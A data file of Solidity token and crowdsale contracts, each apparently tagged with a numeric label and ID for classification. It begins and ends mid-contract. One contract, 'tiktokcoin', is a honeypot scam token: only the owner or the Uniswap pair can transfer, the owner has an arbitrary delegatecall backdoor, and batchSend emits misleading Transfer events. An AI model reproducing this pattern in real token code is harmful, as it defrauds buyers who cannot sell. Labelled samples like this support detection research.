IncreasingPriceCrowdsale(openingRate, closingRate)
public {
_token = IERC20(token);
}
function buyTokens(address beneficiary) public nonReentrant payable {
uint256 weiAmount = msg.value;
uint256 maxWeiAmount = _getMaxWeiAmount();
require(maxWeiAmount > 0);
if (weiAmount >= maxWeiAmount) {
weiAmount = maxWeiAmount;
}
_preValidatePurchase(beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
_weiRaised = _weiRaised.add(weiAmount);
_tokenSold = _tokenSold.add(tokens);
_processPurchase(beneficiary, tokens);
emit TokensPurchased(
msg.sender,
beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(beneficiary, weiAmount);
}
function _getTokenAmount(uint256 weiAmount)
internal view returns (uint256)
{
uint256 currentRate = getCurrentRate();
return currentRate.mul(weiAmount).div(10**13);
}
function _getMaxWeiAmount()
internal view returns (uint256)
{
uint256 currentRate = getCurrentRate();
uint256 icoBalance = _token.balanceOf(address(this));
uint256 availableBalance = icoBalance - _tokenSold;
return availableBalance.mul(10**13).div(currentRate);
}
function recoverToken(address _tokenAddress) public onlyOwner {
IERC20 token = IERC20(_tokenAddress);
uint balance = token.balanceOf(this);
token.transfer(msg.sender, balance);
}
function tokenSold()
public view returns (uint256)
{
return _tokenSold;
}
} | 0 | 86 |
pragma solidity ^0.4.18;
contract DelegateERC20 {
function delegateTotalSupply() public view returns (uint256);
function delegateBalanceOf(address who) public view returns (uint256);
function delegateTransfer(address to, uint256 value, address origSender) public returns (bool);
function delegateAllowance(address owner, address spender) public view returns (uint256);
function delegateTransferFrom(address from, address to, uint256 value, address origSender) public returns (bool);
function delegateApprove(address spender, uint256 value, address origSender) public returns (bool);
function delegateIncreaseApproval(address spender, uint addedValue, address origSender) public returns (bool);
function delegateDecreaseApproval(address spender, uint subtractedValue, address origSender) public returns (bool);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract AddressList is Claimable {
string public name;
mapping (address => bool) public onList;
function AddressList(string _name, bool nullValue) public {
name = _name;
onList[0x0] = nullValue;
}
event ChangeWhiteList(address indexed to, bool onList);
function changeList(address _to, bool _onList) onlyOwner public {
require(_to != 0x0);
if (onList[_to] != _onList) {
onList[_to] = _onList;
ChangeWhiteList(_to, _onList);
}
}
}
contract HasNoContracts is Ownable {
function reclaimContract(address contractAddr) external onlyOwner {
Ownable contractInst = Ownable(contractAddr);
contractInst.transferOwnership(owner);
}
}
contract HasNoEther is Ownable {
function HasNoEther() public payable {
require(msg.value == 0);
}
function() external {
}
function reclaimEther() external onlyOwner {
assert(owner.send(this.balance));
}
}
contract HasNoTokens is CanReclaimToken {
function tokenFallback(address from_, uint256 value_, bytes data_) external {
from_;
value_;
data_;
revert();
}
}
contract NoOwner is HasNoEther, HasNoTokens, HasNoContracts {
}
contract AllowanceSheet is Claimable {
using SafeMath for uint256;
mapping (address => mapping (address => uint256)) public allowanceOf;
function addAllowance(address tokenHolder, address spender, uint256 value) public onlyOwner {
allowanceOf[tokenHolder][spender] = allowanceOf[tokenHolder][spender].add(value);
}
function subAllowance(address tokenHolder, address spender, uint256 value) public onlyOwner {
allowanceOf[tokenHolder][spender] = allowanceOf[tokenHolder][spender].sub(value);
}
function setAllowance(address tokenHolder, address spender, uint256 value) public onlyOwner {
allowanceOf[tokenHolder][spender] = value;
}
}
contract BalanceSheet is Claimable {
using SafeMath for uint256;
mapping (address => uint256) public balanceOf;
function addBalance(address addr, uint256 value) public onlyOwner {
balanceOf[addr] = balanceOf[addr].add(value);
}
function subBalance(address addr, uint256 value) public onlyOwner {
balanceOf[addr] = balanceOf[addr].sub(value);
}
function setBalance(address addr, uint256 value) public onlyOwner {
balanceOf[addr] = value;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic, Claimable {
using SafeMath for uint256;
BalanceSheet balances;
uint256 totalSupply_;
function setBalanceSheet(address sheet) external onlyOwner {
balances = BalanceSheet(sheet);
balances.claimOwnership();
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
transferAllArgsNoAllowance(msg.sender, _to, _value);
return true;
}
function transferAllArgsNoAllowance(address _from, address _to, uint256 _value) internal {
require(_to != address(0));
require(_from != address(0));
require(_value <= balances.balanceOf(_from));
balances.subBalance(_from, _value);
balances.addBalance(_to, _value);
Transfer(_from, _to, _value);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances.balanceOf(_owner);
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances.balanceOf(msg.sender));
address burner = msg.sender;
balances.subBalance(burner, _value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract StandardToken is ERC20, BasicToken {
AllowanceSheet allowances;
function setAllowanceSheet(address sheet) external onlyOwner {
allowances = AllowanceSheet(sheet);
allowances.claimOwnership();
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
transferAllArgsYesAllowance(_from, _to, _value, msg.sender);
return true;
}
function transferAllArgsYesAllowance(address _from, address _to, uint256 _value, address spender) internal {
require(_value <= allowances.allowanceOf(_from, spender));
allowances.subAllowance(_from, spender, _value);
transferAllArgsNoAllowance(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public returns (bool) {
approveAllArgs(_spender, _value, msg.sender);
return true;
}
function approveAllArgs(address _spender, uint256 _value, address _tokenHolder) internal {
allowances.setAllowance(_tokenHolder, _spender, _value);
Approval(_tokenHolder, _spender, _value);
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowances.allowanceOf(_owner, _spender);
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
increaseApprovalAllArgs(_spender, _addedValue, msg.sender);
return true;
}
function increaseApprovalAllArgs(address _spender, uint _addedValue, address tokenHolder) internal {
allowances.addAllowance(tokenHolder, _spender, _addedValue);
Approval(tokenHolder, _spender, allowances.allowanceOf(tokenHolder, _spender));
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
decreaseApprovalAllArgs(_spender, _subtractedValue, msg.sender);
return true;
}
function decreaseApprovalAllArgs(address _spender, uint _subtractedValue, address tokenHolder) internal {
uint oldValue = allowances.allowanceOf(tokenHolder, _spender);
if (_subtractedValue > oldValue) {
allowances.setAllowance(tokenHolder, _spender, 0);
} else {
allowances.subAllowance(tokenHolder, _spender, _subtractedValue);
}
Approval(tokenHolder, _spender, allowances.allowanceOf(tokenHolder, _spender));
}
}
contract CanDelegate is StandardToken {
DelegateERC20 public delegate;
event DelegatedTo(address indexed newContract);
function delegateToNewContract(DelegateERC20 newContract) public onlyOwner {
delegate = newContract;
DelegatedTo(delegate);
}
function transfer(address to, uint256 value) public returns (bool) {
if (delegate == address(0)) {
return super.transfer(to, value);
} else {
return delegate.delegateTransfer(to, value, msg.sender);
}
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
if (delegate == address(0)) {
return super.transferFrom(from, to, value);
} else {
return delegate.delegateTransferFrom(from, to, value, msg.sender);
}
}
function balanceOf(address who) public view returns (uint256) {
if (delegate == address(0)) {
return super.balanceOf(who);
} else {
return delegate.delegateBalanceOf(who);
}
}
function approve(address spender, uint256 value) public returns (bool) {
if (delegate == address(0)) {
return super.approve(spender, value);
} else {
return delegate.delegateApprove(spender, value, msg.sender);
}
}
function allowance(address _owner, address spender) public view returns (uint256) {
if (delegate == address(0)) {
return super.allowance(_owner, spender);
} else {
return delegate.delegateAllowance(_owner, spender);
}
}
function totalSupply() public view returns (uint256) {
if (delegate == address(0)) {
return super.totalSupply();
} else {
return delegate.delegateTotalSupply();
}
}
function increaseApproval(address spender, uint addedValue) public returns (bool) {
if (delegate == address(0)) {
return super.increaseApproval(spender, addedValue);
} else {
return delegate.delegateIncreaseApproval(spender, addedValue, msg.sender);
}
}
function decreaseApproval(address spender, uint subtractedValue) public returns (bool) {
if (delegate == address(0)) {
return super.decreaseApproval(spender, subtractedValue);
} else {
return delegate.delegateDecreaseApproval(spender, subtractedValue, msg.sender);
}
}
}
contract StandardDelegate is StandardToken, DelegateERC20 {
address public delegatedFrom;
modifier onlySender(address source) {
require(msg.sender == source);
_;
}
function setDelegatedFrom(address addr) onlyOwner public {
delegatedFrom = addr;
}
function delegateTotalSupply() public view returns (uint256) {
return totalSupply();
}
function delegateBalanceOf(address who) public view returns (uint256) {
return balanceOf(who);
}
function delegateTransfer(address to, uint256 value, address origSender) onlySender(delegatedFrom) public returns (bool) {
transferAllArgsNoAllowance(origSender, to, value);
return true;
}
function delegateAllowance(address owner, address spender) public view returns (uint256) {
return allowance(owner, spender);
}
function delegateTransferFrom(address from, address to, uint256 value, address origSender) onlySender(delegatedFrom) public returns (bool) {
transferAllArgsYesAllowance(from, to, value, origSender);
return true;
}
function delegateApprove(address spender, uint256 value, address origSender) onlySender(delegatedFrom) public returns (bool) {
approveAllArgs(spender, value, origSender);
return true;
}
function delegateIncreaseApproval(address spender, uint addedValue, address origSender) onlySender(delegatedFrom) public returns (bool) {
increaseApprovalAllArgs(spender, addedValue, origSender);
return true;
}
function delegateDecreaseApproval(address spender, uint subtractedValue, address origSender) onlySender(delegatedFrom) public returns (bool) {
decreaseApprovalAllArgs(spender, subtractedValue, origSender);
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract TrueUSD is StandardDelegate, PausableToken, BurnableToken, NoOwner, CanDelegate {
string public name = "TrueUSD";
string public symbol = "TUSD";
uint8 public constant decimals = 18;
AddressList public canReceiveMintWhiteList;
AddressList public canBurnWhiteList;
AddressList public blackList;
AddressList public noFeesList;
uint256 public burnMin = 10000 * 10**uint256(decimals);
uint256 public burnMax = 20000000 * 10**uint256(decimals);
uint80 public transferFeeNumerator = 7;
uint80 public transferFeeDenominator = 10000;
uint80 public mintFeeNumerator = 0;
uint80 public mintFeeDenominator = 10000;
uint256 public mintFeeFlat = 0;
uint80 public burnFeeNumerator = 0;
uint80 public burnFeeDenominator = 10000;
uint256 public burnFeeFlat = 0;
address public staker;
event ChangeBurnBoundsEvent(uint256 newMin, uint256 newMax);
event Mint(address indexed to, uint256 amount);
event WipedAccount(address indexed account, uint256 balance);
function TrueUSD() public {
totalSupply_ = 0;
staker = msg.sender;
}
function setLists(AddressList _canReceiveMintWhiteList, AddressList _canBurnWhiteList, AddressList _blackList, AddressList _noFeesList) onlyOwner public {
canReceiveMintWhiteList = _canReceiveMintWhiteList;
canBurnWhiteList = _canBurnWhiteList;
blackList = _blackList;
noFeesList = _noFeesList;
}
function changeName(string _name, string _symbol) onlyOwner public {
name = _name;
symbol = _symbol;
}
function burn(uint256 _value) public {
require(canBurnWhiteList.onList(msg.sender));
require(_value >= burnMin);
require(_value <= burnMax);
uint256 fee = payStakingFee(msg.sender, _value, burnFeeNumerator, burnFeeDenominator, burnFeeFlat, 0x0);
uint256 remaining = _value.sub(fee);
super.burn(remaining);
}
function mint(address _to, uint256 _amount) onlyOwner public {
require(canReceiveMintWhiteList.onList(_to));
totalSupply_ = totalSupply_.add(_amount);
balances.addBalance(_to, _amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
payStakingFee(_to, _amount, mintFeeNumerator, mintFeeDenominator, mintFeeFlat, 0x0);
}
function changeBurnBounds(uint newMin, uint newMax) onlyOwner public {
require(newMin <= newMax);
burnMin = newMin;
burnMax = newMax;
ChangeBurnBoundsEvent(newMin, newMax);
}
function transferAllArgsNoAllowance(address _from, address _to, uint256 _value) internal {
require(!blackList.onList(_from));
require(!blackList.onList(_to));
super.transferAllArgsNoAllowance(_from, _to, _value);
payStakingFee(_to, _value, transferFeeNumerator, transferFeeDenominator, 0, _from);
}
function wipeBlacklistedAccount(address account) public onlyOwner {
require(blackList.onList(account));
uint256 oldValue = balanceOf(account);
balances.setBalance(account, 0);
totalSupply_ = totalSupply_.sub(oldValue);
WipedAccount(account, oldValue);
}
function payStakingFee(address payer, uint256 value, uint80 numerator, uint80 denominator, uint256 flatRate, address otherParticipant) private returns (uint256) {
if (noFeesList.onList(payer) || noFeesList.onList(otherParticipant)) {
return 0;
}
uint256 stakingFee = value.mul(numerator).div(denominator).add(flatRate);
if (stakingFee > 0) {
super.transferAllArgsNoAllowance(payer, staker, stakingFee);
}
return stakingFee;
}
function changeStakingFees(uint80 _transferFeeNumerator,
uint80 _transferFeeDenominator,
uint80 _mintFeeNumerator,
uint80 _mintFeeDenominator,
uint256 _mintFeeFlat,
uint80 _burnFeeNumerator,
uint80 _burnFeeDenominator,
uint256 _burnFeeFlat) public onlyOwner {
require(_transferFeeDenominator != 0);
require(_mintFeeDenominator != 0);
require(_burnFeeDenominator != 0);
transferFeeNumerator = _transferFeeNumerator;
transferFeeDenominator = _transferFeeDenominator;
mintFeeNumerator = _mintFeeNumerator;
mintFeeDenominator = _mintFeeDenominator;
mintFeeFlat = _mintFeeFlat;
burnFeeNumerator = _burnFeeNumerator;
burnFeeDenominator = _burnFeeDenominator;
burnFeeFlat = _burnFeeFlat;
}
function changeStaker(address newStaker) public onlyOwner {
require(newStaker != address(0));
staker = newStaker;
}
} | 1 | 4,315 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract ERC20Basic {
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender) public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender],"Not enough tokens left");
require(_to != address(0),"Address is empty");
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool) {
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Token is StandardToken {
uint256 public decimals = 8;
uint256 public totalSupply = 100e14;
string public name = "List101 Token";
string public symbol = "LST";
address public ico;
address public owner;
modifier onlyICO {
require(msg.sender == ico);
_;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
constructor() public {
owner = msg.sender;
balances[owner] = totalSupply;
}
function setUpICOAddress(address _ico) public onlyOwner {
require(_ico != address(0),"Address is empty");
ico = _ico;
}
function distributeICOTokens(address _buyer, uint256 _tokensToBuy) public onlyICO {
require(_buyer != address(0),"Address is empty");
require(_tokensToBuy > 0,"You need to buy at least 1 token");
balances[owner] = balances[owner].sub(_tokensToBuy);
balances[_buyer] = balances[_buyer].add(_tokensToBuy);
}
function changeOwner(address newOwner) external onlyOwner {
require(newOwner != address(0),"Address is empty");
owner = newOwner;
}
} | 1 | 4,367 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract tiktokcoin {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,268 |
pragma solidity ^0.4.15;
contract Base {
modifier only(address allowed) {
require(msg.sender == allowed);
_;
}
uint constant internal L00 = 2 ** 0;
uint constant internal L01 = 2 ** 1;
uint constant internal L02 = 2 ** 2;
uint constant internal L03 = 2 ** 3;
uint constant internal L04 = 2 ** 4;
uint constant internal L05 = 2 ** 5;
uint private bitlocks = 0;
modifier noAnyReentrancy {
var _locks = bitlocks;
require(_locks == 0);
bitlocks = uint(-1);
_;
bitlocks = _locks;
}
}
contract IToken {
function mint(address _to, uint _amount);
function start();
function getTotalSupply() returns(uint);
function balanceOf(address _owner) returns(uint);
function transfer(address _to, uint _amount) returns (bool success);
function transferFrom(address _from, address _to, uint _value) returns (bool success);
function burn(uint256 _amount, address _address) returns (bool success);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Owned is Base {
address public owner;
address newOwner;
function Owned() {
owner = msg.sender;
}
function transferOwnership(address _newOwner) only(owner) {
newOwner = _newOwner;
}
function acceptOwnership() only(newOwner) {
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
event OwnershipTransferred(address indexed _from, address indexed _to);
}
contract Crowdsale is Owned {
using SafeMath for uint;
enum State { INIT, PRESALE, PREICO, PREICO_FINISHED, ICO_FIRST, ICO_SECOND, ICO_THIRD, STOPPED, CLOSED, EMERGENCY_STOP}
uint public constant MAX_SALE_SUPPLY = 24 * (10**25);
uint public constant DECIMALS = (10**18);
State public currentState = State.INIT;
IToken public token;
uint public totalSaleSupply = 0;
uint public totalFunds = 0;
uint public tokenPrice = 1000000000000000000;
uint public bonus = 50000;
uint public currentPrice;
address public beneficiary;
mapping(address => uint) balances;
address public foundersWallet;
uint public foundersAmount = 160000000 * DECIMALS;
uint public maxPreICOSupply = 48 * (10**24);
uint public maxICOFirstSupply = 84 * (10**24);
uint public maxICOSecondSupply = 48 * (10**24);
uint public maxICOThirdSupply = 24 * (10**24);
uint public currentRoundSupply = 0;
uint private bonusBase = 100000;
modifier inState(State _state){
require(currentState == _state);
_;
}
modifier salesRunning(){
require(currentState == State.PREICO
|| currentState == State.ICO_FIRST
|| currentState == State.ICO_SECOND
|| currentState == State.ICO_THIRD);
_;
}
modifier minAmount(){
require(msg.value >= 0.2 ether);
_;
}
event Transfer(address indexed _to, uint _value);
function Crowdsale(address _foundersWallet, address _beneficiary){
beneficiary = _beneficiary;
foundersWallet = _foundersWallet;
}
function initialize(IToken _token)
public
only(owner)
inState(State.INIT)
{
require(_token != address(0));
token = _token;
currentPrice = tokenPrice;
_mint(foundersWallet, foundersAmount);
}
function setBonus(uint _bonus) public
only(owner)
{
bonus = _bonus;
}
function setPrice(uint _tokenPrice)
public
only(owner)
{
currentPrice = _tokenPrice;
}
function setState(State _newState)
public
only(owner)
{
require(
currentState == State.INIT && _newState == State.PRESALE
|| currentState == State.PRESALE && _newState == State.PREICO
